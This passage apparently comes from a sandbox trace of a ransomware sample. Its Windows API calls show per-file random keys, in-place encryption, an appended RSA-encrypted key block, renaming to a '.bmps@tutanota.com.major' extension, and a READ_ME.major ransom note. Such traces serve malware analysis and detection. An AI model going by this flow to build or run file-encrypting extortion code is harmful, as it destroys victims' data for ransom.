pszString="IhCf3D1SJxJvh/FAo/fORaJRTxCVcEmK1Cr7U5ewz7OhjoVo0UHQGw6MbuQYPpnY\nx2wRVnotiYDlQkENuD/rx4MLwk2H0YXhwEt+ejjLI8JQK5BiS8T7UbmKqerqRSoM\nswTR4o4lEZHM/x9X7Z/pS1c3H95mKBYOfsB9oGQ4//QmjdeCkijAtjQUyaLs7XEc\nHwU6Y5R+5VZGuNr9JGp25XwRceRrKXFI0DcyYZ+gSVEAixLqqL38MdlaI72xqh6o\nwsui/BR7YyKe7/mhjHv6QtNGaFqdS82Oc8gKhP11xFSr9W1ZrioKrWx0igSu7md/\ntXODQMKeY+MC/gS/fg33sw==\n", pcchString=0x2e3f9a8) returned 1 [0141.693] WriteFile (in: hFile=0x4d8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.693] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.694] CloseHandle (hObject=0x4d8) returned 1 [0141.694] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.694] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\2052\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.695] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0141.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0141.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0141.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.696] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.696] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2052\\eula.rtf", dwFileAttributes=0x80) returned 1 [0141.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0141.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0141.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0141.696] CreateFileW (lpFileName="\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d8 [0141.696] GetFileSizeEx (in: hFile=0x4d8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=5827) returned 1 [0141.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c3) returned 0x60d870 [0141.697] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16c3) returned 0x60ef40 [0141.697] ReadFile (in: hFile=0x4d8, lpBuffer=0x60d870, nNumberOfBytesToRead=0x16c3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x16c3, lpOverlapped=0x0) returned 1 [0141.811] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=-5827, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.811] WriteFile (in: hFile=0x4d8, lpBuffer=0x60ef40*, nNumberOfBytesToWrite=0x16c3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60ef40*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16c3, lpOverlapped=0x0) returned 1 [0141.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.812] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ef40 | out: hHeap=0x570000) returned 1 [0141.812] SetFilePointer (in: hFile=0x4d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16c3 [0141.812] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.812] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.812] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.812] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.812] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.812] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="nw7QBLE0zIUOYpkR5YuEQAWdQdUkXxyIZWx39BzymWobQzZ1hX+VuHW9ZHrkNclW\nKJVtZ+5kWQLxqBzG8Y77f1pFxNrKD+iH6d78ipX7RdhHBdPWpLnvNEU8XK9LQ5RX\nVGyYru2aHJb8mdH26cx0CZg4SqX9bZ8OZVoSxn/z9gVjsjQ5Fw4OeL8hg/73l94s\nVcmRK4/9sPo64FIk7XipAaX27WnMOusJ0PKI9xGZ12t7f5UycjFcq/6cCb1S0len\nvKsAxE5lY/owYPIJp968yfkCDrUHfazm3UcFzFVUVcrcDJ7qjMpfCeMOGMU9n+Jm\nOQsPoKKGXZ15BXCiFAtLkg==\n", pcchString=0x2e3f9a8) returned 1 [0141.812] WriteFile (in: hFile=0x4d8, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.813] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.813] WriteFile (in: hFile=0x4d8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.813] CloseHandle (hObject=0x4d8) returned 1 [0141.813] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.813] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\2052\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0141.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0141.814] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0141.815] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b55b0 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bef20 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0141.815] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.815] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0141.815] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0141.816] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.816] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0141.816] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0141.816] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77f8 [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77f8 | out: hHeap=0x570000) returned 1 [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecb8 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecb8 | out: hHeap=0x570000) returned 1 [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0141.817] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40780, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x40780, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x6341f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.817] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0141.817] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0141.817] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.818] SetLastError (dwErrCode=0x0) [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6ca0 [0141.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0141.818] GetLastError () returned 0x0 [0141.818] SetLastError (dwErrCode=0x0) [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0141.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0141.818] FindNextFileW (in: hFindFile=0x5b55b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.818] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.818] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0141.818] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.818] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0141.818] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4dc [0141.818] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18776) returned 1 [0141.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x60d870 [0141.819] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4958) returned 0x6121d0 [0141.819] ReadFile (in: hFile=0x4dc, lpBuffer=0x60d870, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0141.866] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.866] WriteFile (in: hFile=0x4dc, lpBuffer=0x6121d0*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6121d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4958, lpOverlapped=0x0) returned 1 [0141.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0141.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6121d0 | out: hHeap=0x570000) returned 1 [0141.867] SetFilePointer (in: hFile=0x4dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4958 [0141.867] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.867] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0141.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0141.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0141.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0141.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="kZIIYkscDfVjvUjjYuQSxgj+A9j5TZrRZpHgaaAy6J9NtqlFHxF+0QdOwIcSBjxW\nISz30cSXoDbzeKuRopu+Lu71WfVsDa8Rw3B5LBKdQRSVn7/h1HPF4xNO1EnwomiW\nK5a4F51W7mXa0XDnJujzv7/GKoevMgdVeWVJn9PbxDxy/ZfPNG3HG9UF5Ora1xMl\n+hvVRStoCftARz+8z2ImZk1fceNMZYwHGo7bDn+BQcl6hrs1Uu1x+lS/E0ISjmRu\nADpk1leUc2SDWX0iJNALp8b3A5pk578ovALuHrbZzMyZzZIuSblg/mXWw5dcTO4y\nx75tW32XAwGCJREKqfk1jw==\n", pcchString=0x2e3f9a8) returned 1 [0141.867] WriteFile (in: hFile=0x4dc, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0141.867] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0141.867] WriteFile (in: hFile=0x4dc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0141.867] CloseHandle (hObject=0x4dc) returned 1 [0141.868] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0141.868] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\2070\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\2070\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0141.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0141.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0141.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0141.881] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0141.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0141.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0141.881] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0141.881] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0141.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0141.881] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0141.882] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0141.882] CreateFileW (lpFileName="\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), 